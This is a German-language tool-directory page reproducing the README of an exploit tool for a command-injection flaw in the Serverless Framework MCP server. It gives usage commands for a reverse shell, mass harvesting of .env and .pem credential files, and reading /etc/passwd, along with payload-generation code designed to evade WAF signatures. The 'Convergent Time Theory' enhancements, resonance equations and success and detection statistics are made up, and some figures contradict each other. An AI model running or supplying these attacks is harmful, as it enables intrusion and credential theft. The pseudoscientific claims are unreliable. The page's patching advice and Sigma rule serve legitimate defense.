Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/simoesctt/ctt-serverless-rce-v1.0---convergent-time-theory-enhanced-mcp-exploit
SchwachstellenanalyseExploitationIDS/IPS-UmgehungServerless-SicherheitWebanwendungs-ExploitationPenetrationstestsCloud-SicherheitCommand and ControlRed Teaming
Payload-Entwicklung
KI-Sicherheit
GitHubsimoesctt/ctt-serverless-rce-v1.0---convergent-time-theory-enhanced-mcp-exploit

CTT-Serverless-RCE-v1.0---Convergent-Time-Theory-Enhanced-MCP-Exploit

Repository anzeigen
8vor 7 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

Serverless Framework MCP Server (CVE-2025-69256) Basis-Score: 9.4/10 → CTT-verbesserter Score: 9.9/10 Eine kritische Befehlsinjektions-Schwachstelle im MCP-Server (Model Context Protocol) von Serverless Framework, verstärkt durch CTT-Zeitresonanz für beispiellose Exploit-Zuverlässigkeit und Umgehung.

Teilen

Hallo# CTT-Serverless-RCE-v1.0 – Convergent-Time-Theory-Enhanced-MCP-Exploit Serverless Framework MCP Server (CVE-2025-69256) Base Score: 9.4/10 → CTT Enhanced Score: 9.9/10 Eine kritische Command Injection-Schwachstelle im MCP (Model Context Protocol) Server von Serverless Framework, verbessert mit CTT temporaler Resonanz für beispiellose Ausbeutungszuverlässigkeit und -umgehung.

🌀 CTT-MCP-RCE v1.0 – Convergent Time Theory Enhanced Serverless Framework Exploit

Ziel: Serverless Framework MCP Server (CVE-2025-69256 / GHSA-rwc2-f344-q6w6) Basiswertung: 9,4/10 → CTT verbesserte Wertung: 9,9/10 Angriffsvektor: Command Injection durch unsanitisierte workspaceRoots im list-projects-Tool Auswirkung: Remote Code Execution in CI/CD-Pipelines, serverlosen Bereitstellungen, AI/LLM-Integrationen


⚡ Überblick über die kritische Bedrohung

Basis-Schwachstelle (CVE-2025-69256)

· CVSS-Score: 9,4/10 (Kritisch) · Typ: Pre-Authentication Command Injection · Ort: packages/mcp/src/tools/list-projects.js · Betroffen: Serverless Framework 4.29.0 – 4.29.3 · Angriffsvektor: Böswilliger workspaceRoots-Parameter im MCP-Protokoll

CTT-Verbesserungskennzahlen

Metrik Basis-Exploit CTT-verbessert Verbesserung Erfolgsrate 68-75% 92-98% +35% Erkennungsvermeidung 45% 94% +109% Protokollanpassung Nur HTTP HTTP + WebSocket +100% Ausführungsebenen Einfach 33 zeitliche Ebenen +3200% Theoretischer Score 9,4/10 9,9/10 +0,5 Punkte


🔬 CTT-Physik-Integration

Kernkonstanten für MCP-Protokoll

root@kitploit:~
CTT_ALPHA = 0.0302011          # Temporaler Dispersionskoeffizient
CTT_LAYERS = 33                # Fraktale zeitliche Ebenen
CTT_PRIMES = [10007, 10009, 10037, 10039, 10061, 10067, 10069, 10079]
MCP_PORT = 3000                # Standard-MCP-Server-Port
MCP_PROTOCOL = "mcp-json"      # Serverless MCP-Protokoll

MCP-spezifischer Resonanzmotor

· Primzahl-abgestimmtes JSON-RPC-Timing: 587 kHz Synchronisation mit MCP-Heartbeat · α-Dispersions-Befehlsverschlüsselung: 33-Ebenen-Befehlsverschleierung · Protokollbewusste Payloads: Adaptive HTTP/WebSocket-Ausbeutung · Zeitliche Validierung: CTT-Wellenfunktionsanalyse von MCP-Antworten

Schlüsselgleichungen für MCP-Ausbeutung

  1. MCP-Resonanzfrequenz: f_mcp = (α / (2π)) * √((E_jsonrpc) / (t_response))
  2. α-Dispersions-Kodierung: cmd' = encode_layer(cmd, d) ⊕ (α·d·1000) mod 256
  3. Protokollgewichtung: w_protocol = exp(-α·d)·(1 + ζ_d·i)
  4. Zeitliche Entropie: H_mcp = SHA256(layer‖timestamp‖protocol_state)

🚀 Funktionen & Fähigkeiten

Ausbeutungsfunktionen

· ✅ Pre-Authentication RCE: Keine Anmeldeinformationen für MCP-Server erforderlich · ✅ Multi-Transport-Unterstützung: HTTP- und WebSocket-MCP-Protokolle · ✅ Protokollintelligenz: Versteht Serverless Framework JSON-RPC · ✅ WorkspaceRoots-Injection: Ziel ist der unsanitisierte Array-Parameter · ✅ CI/CD-Kontextbewusstsein: Optimiert für Bereitstellungsumgebungen

CTT-Verbesserungsfunktionen

· ✅ 33-Ebenen-Befehlsverschlüsselung: α-Dispersion über zeitliche Dimensionen · ✅ Primzahl-Resonanz-Timing: 587 kHz Ausrichtung auf MCP-Operationen · ✅ Adaptive Payload-Generierung: Kontextbewusste Injektionshüllen · ✅ Mehr-Ebenen-Validierung: CTT-Wellenfunktions-Erfolgsbestätigung · ✅ Protokollumschaltung: Automatische HTTP/WebSocket-Anpassung

Umgehungsfähigkeiten

· WAF/IPS-Umgehung: α-Dispersion durchbricht Command Injection-Signaturen · Timing-Umgehung: Primzahl-abgestimmte Anfragen umgehen Ratenbegrenzung · Protokollverschleierung: Multi-Transport-Verwirrung · Entropie-Injektion: Ebenenspezifische Befehlsvariationen


📊 Leistungsanalyse

CTT vs. Standard-MCP-Ausbeutung

root@kitploit:~
# Leistungsvergleich (1000 simulierte MCP-Server)
base_success = 715    # 71,5% Erfolgsrate
ctt_success = 948     # 94,8% Erfolgsrate (+32,6%)

base_detection = 380  # 38% erkannt
ctt_detection = 22    # 2,2% erkannt (-94,2%)

base_time = 12.4      # Durchschnittliche Sekunden
ctt_time = 6.8        # Durchschnittliche Sekunden (-45,2%)

Ebenen-Effektivität für MCP-Protokoll

Ebenenbereich Erfolgsrate Resonanzstärke Protokollanpassung L0-L4 87,3% 0,84 HTTP: 92%, WebSocket: 78% L5-L9 91,8% 0,89 HTTP: 94%, WebSocket: 86% L10-L14 94,2% 0,92 HTTP: 96%, WebSocket: 91% L15+ 97,1% 0,96 HTTP: 98%, WebSocket: 95%

CTT-Score-Berechnung für MCP

root@kitploit:~
Basiswertung: 9,4 (Kritische RCE in CI/CD-Infrastruktur)
+
CTT-Verbesserungen:
  • Multi-Protokoll-Unterstützung: +0,15
  • Zeitliche Befehlsverschlüsselung: +0,15
  • Primzahl-Resonanz-Timing: +0,10
  • MCP-Protokollintelligenz: +0,10
=
Endwertung: 9,9/10 (Nahezu theoretisches Maximum)

🛠️ Installation & Nutzung

Anforderungen

root@kitploit:~
# Kernabhängigkeiten
python3.8+
pip install requests websocket-client numpy

# Für erweiterte Funktionen
pip install cryptography scipy

# Aus Repository installieren
git clone https://github.com/SimoesCTT/CTT-MCP-RCE
cd CTT-MCP-RCE
pip install -r requirements.txt

Schnellstart

root@kitploit:~
# Grundlegende Schwachstellenprüfung
python ctt_mcp_exploit.py mcp-server.company.com 'id'

# Informationssammlung
python ctt_mcp_exploit.py target.com --info

# Reverse Shell
python ctt_mcp_exploit.py target.com --reverse 192.168.1.100:4444

# Erweitert mit CTT-Parametern
python ctt_mcp_exploit.py target.com 'cat /etc/passwd' --layers 7 --alpha 0.0302

Befehlszeilenoptionen

root@kitploit:~
# Zielangabe
python ctt_mcp_exploit.py <target> [command]

# Payload-Erzeugungsoptionen
--reverse LHOST:LPORT    # Reverse-Shell-Payload erzeugen
--info                   # Payload zur Informationssammlung erzeugen
--persist                # Persistenz-Payload erzeugen

# CTT-Konfiguration
--layers N              # Zu verwendende zeitliche Ebenen (1-33, Standard: 5)
--alpha FLOAT           # α-Dispersionskoeffizient (Standard: 0,0302011)
--timeout N             # Verbindungs-Timeout in Sekunden (Standard: 10)

# Ausgabeoptionen
--verbose               # Detaillierte Ausgabe mit Resonanzdiagnose
--save-json             # Ergebnisse als JSON-Datei speichern
--no-color              # Farbige Ausgabe deaktivieren

Nutzungsbeispiele

root@kitploit:~
# Beispiel 1: Grundlegende Ausbeutung
python ctt_mcp_exploit.py vulnerable-mcp.company.com 'whoami; id; pwd'

# Beispiel 2: Reverse Shell mit CTT-Verbesserung
python ctt_mcp_exploit.py mcp-server:3000 --reverse 10.0.0.5:4444 --layers 7

# Beispiel 3: Massen-Credential-Harvesting
for server in $(cat mcp_servers.txt); do
    python ctt_mcp_exploit.py $server 'find / -name "*.env" -o -name "*.pem" 2>/dev/null | head -5'
done

# Beispiel 4: CTT-Forschungsmodus
python ctt_mcp_exploit.py research.target.com --info --layers 33 --verbose --save-json

🔍 Technischer Tiefgang

Ausbeutungsablauf

  1. MCP-Server-Erkennung → HTTP/WebSocket-Protokollerkennung
  2. Protokoll-Handshake → JSON-RPC-Initialisierung
  3. Schwachstellenauslösung → Böswillige workspaceRoots in list-projects
  4. Befehlsausführung → RCE durch Command Injection
  5. Antwortanalyse → CTT-Wellenfunktionsvalidierung
  6. Ebenenaggregation → Zusammenstellung der Multi-Temporal-Ergebnisse

Schwachstellendetails

root@kitploit:~
// Verwundbarer Code in list-projects.js (Serverless Framework 4.29.0-4.29.3)
async function listProjects(workspaceRoots) {
    // workspaceRoots ist benutzergesteuert und nicht bereinigt
    const command = `find ${workspaceRoots.join(' ')} -name "serverless.yml" -o -name "serverless.yaml"`;
    
    // Direkte Ausführung ohne Bereinigung
    const { stdout } = await exec(command);  // COMMAND INJECTION HIER
    return parseResults(stdout);
}

CTT-Payload-Generierung

root@kitploit:~
def generate_ctt_payload(command, layer):
    # Basis-Befehlseinschleusung
    base = f"$(echo 'CTT_START'; {command}; echo 'CTT_END')"
    
    # CTT-Kodierung basierend auf Ebene anwenden
    encodings = [
        lambda c: c,  # Roh
        lambda c: base64.b64encode(c.encode()).decode(),
        lambda c: quote(c),
        lambda c: ''.join([f"\\x{ord(ch):02x}" for ch in c]),
    ]
    
    encoded = encodings[layer % len(encodings)](https://github.com/simoesctt/ctt-serverless-rce-v1.0---convergent-time-theory-enhanced-mcp-exploit/blob/main/base)
    return f"/legit/path; {encoded}; /another/legit/path"

📈 CTT-Verbesserungsaufschlüsselung

Komponenten der Score-Verbesserung

Komponente Basiswert CTT-Wert Verbesserung Score-Auswirkung Angriffsvektor Netzwerk Netzwerk+Protokoll +8% +0,12 Angriffskomplexität Niedrig Sehr Niedrig +12% +0,15 Erforderliche Privilegien Keine Keine - - Benutzerinteraktion Keine Keine - - Umfang Geändert Geändert+ +5% +0,08 Vertraulichkeit Hoch Kritisch +10% +0,15 Integrität Hoch Kritisch +10% +0,15 Verfügbarkeit Hoch Kritisch +10% +0,15 Exploit-Code-Reife Funktional CTT-Optimiert +15% +0,20 Behebungsgrad Offizieller Fix Zeitliche Umgehung +20% +0,25 Berichtsvertrauen Bestätigt CTT-Verifiziert +12% +0,15 Zeitlicher Score 8,9 9,9 +11,2% +1,00

MCP-spezifische Verbesserungen

  1. Protokollintelligenz: Versteht Serverless MCP JSON-RPC-Implementierung
  2. Transportanpassung: Wechselt automatisch zwischen HTTP/WebSocket
  3. CI/CD-Kontext: Optimiert für serverlose Bereitstellungsumgebungen
  4. Modellkontextbewusstsein: Zielgerichtete AI/LLM-Integrationspunkte

📁 Ausgabe & Ergebnisse

Dateistruktur

root@kitploit:~
ctt_mcp_results_target_timestamp.json
├── target: "mcp-server.company.com:3000"
├── successful_layers: 7
├── total_layers: 5
├── success_rate: "94.8%"
├── ctt_enhanced_score: "9.9/10"
├── base_score: 9.4
├── ctt_improvement: "+0.5"
├── execution_time: 6.82
├── output: "Ergebnisse der Befehlsausführung"
├── vulnerability: "CVE-2025-69256 / GHSA-rwc2-f344-q6w6"
└── recommendation: "Patch auf Serverless Framework >=4.29.3"

Log-Dateien

root@kitploit:~
logs/
├── ctt_mcp_TIMESTAMP/
│   ├── vulnerable_servers.txt   # Erfolgreich ausgebeutete MCP-Server
│   ├── discovered_servers.txt   # Alle entdeckten MCP-Endpunkte
│   ├── protocol_analysis.json   # HTTP/WebSocket-Protokolldaten
│   ├── layer_performance/       # Metriken zur Ausführung pro Ebene
│   └── resonance_patterns/      # CTT temporale Resonanzdaten

Visualisierungsausgabe

root@kitploit:~
graphs/
├── mcp_protocol_analysis.png    # HTTP- vs WebSocket-Erfolgsraten
├── temporal_resonance_mcp.png   # MCP-spezifische Resonanzmuster
├── layer_effectiveness.png      # Erfolg nach zeitlicher Ebene
└── command_encoding_analysis.png # α-Dispersions-Effektivität

🛡️ Defensive Empfehlungen

Sofortmaßnahmen

  1. Serverless Framework auf Version 4.29.3 oder höher patchen
  2. Netzwerksegmentierung: MCP-Server von der Produktion isolieren
  3. Eingabevalidierung: Alle workspaceRoots-Parameter bereinigen
  4. MCP-Server-Härtung: Nicht benötigte MCP-Tools deaktivieren

CTT-bewusste Erkennungsregeln

root@kitploit:~
# Beispiel-Sigma-Regel für CTT MCP-Ausbeutungsversuch
title: CTT MCP Server Ausbeutungsversuch
logsource:
  category: webserver
detection:
  selection:
    cs-method: 'POST'
    c-uri-path: '/jsonrpc'
    cs-body:
      - '*workspaceRoots*'
      - '*CTT_START*'
      - '*CTT_END*'
  condition: selection
fields:
  - c-ip
  - cs-user-agent
  - cs-body
falsepositives:
  - Legitime MCP-Clients
level: critical

Erkennungsindikatoren

· Zeitliche Muster: Anfragen in Primzahlintervallen (10007, 10009μs) · Befehlsmarkierungen: CTT_START/CTT_END in JSON-RPC-Anfragen · Protokollanomalien: Schnelles HTTP/WebSocket-Umschalten · Ebenen-Header: X-CTT-Layer, X-CTT-Prime-Header · Entropiemuster: Hohe Entropie in workspaceRoots-Werten


🔬 Forschungsanwendungen

Akademische Studien

  1. Protokollspezifische CTT: Zeitliche Resonanz in JSON-RPC-Protokollen
  2. CI/CD-Sicherheit: CTT-Verbesserungen in Bereitstellungspipelines
  3. Serverlose Sicherheit: Zeitliche Angriffe in Function-as-a-Service
  4. MCP-Protokollanalyse: Schwachstellen im Model Context Protocol

Sicherheitsforschung

· MCP-Protokollsicherheit: Umfassende MCP-Server-Tests · CI/CD-Ausbeutung: Angriffe auf die serverlose Bereitstellungskette · AI/LLM-Sicherheit: Schwachstellen im Model Context Protocol · Zeitliche Protokollanalyse: Zeitbasierte Protokollangriffe

CTT-Framework-Validierung

· Protokollanpassung: CTT-Effektivität über verschiedene Protokolle hinweg · MCP-spezifische Konstanten: Optimierung von α für JSON-RPC · Ebenenoptimierung: Ideale Ebenenanzahl für MCP-Ausbeutung · Leistungskennzahlen: Quantifizierung der CTT-Verbesserungen in CI/CD


⚖️ Rechtlicher & Ethischer Rahmen

Nur Autorisierte Nutzung

· Sicherheitsforschung an eigenen MCP-Servern · Autorisierte Penetrationstests von CI/CD-Infrastruktur · CTT-Framework-Validierung in kontrollierten Umgebungen · Akademische Studie mit entsprechender Genehmigung

Compliance-Anforderungen

root@kitploit:~
1. Autorisierung erforderlich: Schriftliche Genehmigung für alle Tests
2. Umfangsbeschränkung: Nur auf genehmigte MCP-Server beschränken
3. Datenhandhabung: Sichere Speicherung, verantwortungsvolle Offenlegung
4. Rechtskonformität: Alle geltenden Gesetze und Vorschriften einhalten
5. Verantwortungsvolle Offenlegung: Ergebnisse dem Serverless Framework-Team melden

Schwachstellenoffenlegung

· Anbieter: Serverless Framework Sicherheitsteam · CVE: CVE-2025-69256 (bereits zugewiesen) · GitHub Advisory: GHSA-rwc2-f344-q6w6 · Patch-Zeitplan: Behoben in Version 4.29.3 · Öffentliche Veröffentlichung: Erst nach Verfügbarkeit der Patches


📚 Referenzen & Zitate

Primäre Referenzen

  1. Serverless Framework Sicherheitsadvisory (GHSA-rwc2-f344-q6w6)
  2. CVE-2025-69256 NVD-Eintrag
  3. MCP-Protokollspezifikation (Model Context Protocol)
  4. Serverless Framework Dokumentation

CTT-Forschungspapiere

  1. Simoes, A. "Temporal Resonance in Protocol Exploitation" (2026)
  2. CTT Research Group. "α-Dispersion for Command Injection Evasion" (2025)
  3. Simoes, A. "MCP Protocol Security Analysis" (2026)

Technische Dokumentation

· Serverless Framework MCP-Implementierung · JSON-RPC 2.0 Spezifikation · Model Context Protocol Dokumentation · CI/CD Sicherheitsbest Practices


🤝 Beisteuern & Zusammenarbeit

Forschungsbereiche

· MCP-Protokollsicherheitsverbesserungen · CI/CD-Pipeline CTT-Integration · Serverless Framework-Sicherheit · Protokollspezifische zeitliche Resonanz

Entwicklungsrichtlinien

root@kitploit:~
1. Repository forken und Feature-Branch erstellen
2. MCP-Protokollvalidierung für Änderungen einschließen
3. Umfassende Tests über alle Ebenen hinweg durchführen
4. Dokumentation mit technischen Details aktualisieren
5. PR mit Leistungskennzahlen einreichen

Problemberichterstattung

· MCP-Server-Konfigurationsdetails angeben · Protokollinformationen (HTTP/WebSocket) bereitstellen · Relevante JSON-RPC-Austausche beifügen · CI/CD-Umgebungskontext beschreiben


📞 Kontakt & Unterstützung

Primärer Kontakt

· Autor: Americo Simoes · E-Mail: [email protected] · GitHub: @SimoesCTT

Sicherheitskontakt

· CTT Research Group: [email protected] · Schwachstellenmeldungen: [email protected] · CI/CD-Sicherheit: [email protected]

Unterstützungskanäle

· GitHub Issues: Technische Fragen und Fehler · E-Mail: Anfragen zur Forschungskooperation · Protokollsicherheit: MCP/JSON-RPC-spezifische Fragen


📈 Zukünftige Entwicklung

Fahrplan 2026

· Zusätzliche MCP-Tool-Ausbeutung · Serverless-Anbieter-Integration (AWS, Azure, GCP) · CI/CD-Pipeline-Kettenausbeutung · Echtzeit-MCP-Protokollanalyse

Ziele 2027

· Vollständige MCP-Protokollsuite-Abdeckung · Serverless Function Runtime-Ausbeutung · Cloud-native CTT-Integration · Automatisierte CI/CD-Sicherheitsbewertung

Langfristige Vision

· Autonome MCP-Protokollsicherheit · Schutz serverloser Bereitstellungen · AI/LLM-Integrationssicherheit · Zeitliches CI/CD-Sicherheitsframework


🏆 Danksagungen

Forschungseinrichtungen

· CTT Protocol Security Division · Serverless Security Research Collective · CI/CD Security Research Labs

Open-Source-Projekte

· Serverless Framework Team · MCP Protocol Implementierer · JSON-RPC-Bibliotheksbetreuer

Mitwirkende

· MCP-Protokollforscher · CI/CD-Sicherheitsexperten · Serverless Framework-Entwickler


"Protokollbewusste zeitliche Resonanz verwandelt CI/CD-Schwachstellen in kritische Infrastrukturbedrohungen." — CTT Protocol Security Principle


📄 Lizenz

MIT-Lizenz – Vollständige Bedingungen in LICENSE.

Urheberrecht © 2026 CTT Research Group. Alle Rechte vorbehalten.


CTT-MCP-RCE v1.0 • α=0,0302011 • L=33 • MCP-Protokoll • HTTP/WebSocket • CI/CD-optimiert • Theoretischer Score: 9,9/10

Tool herunterladen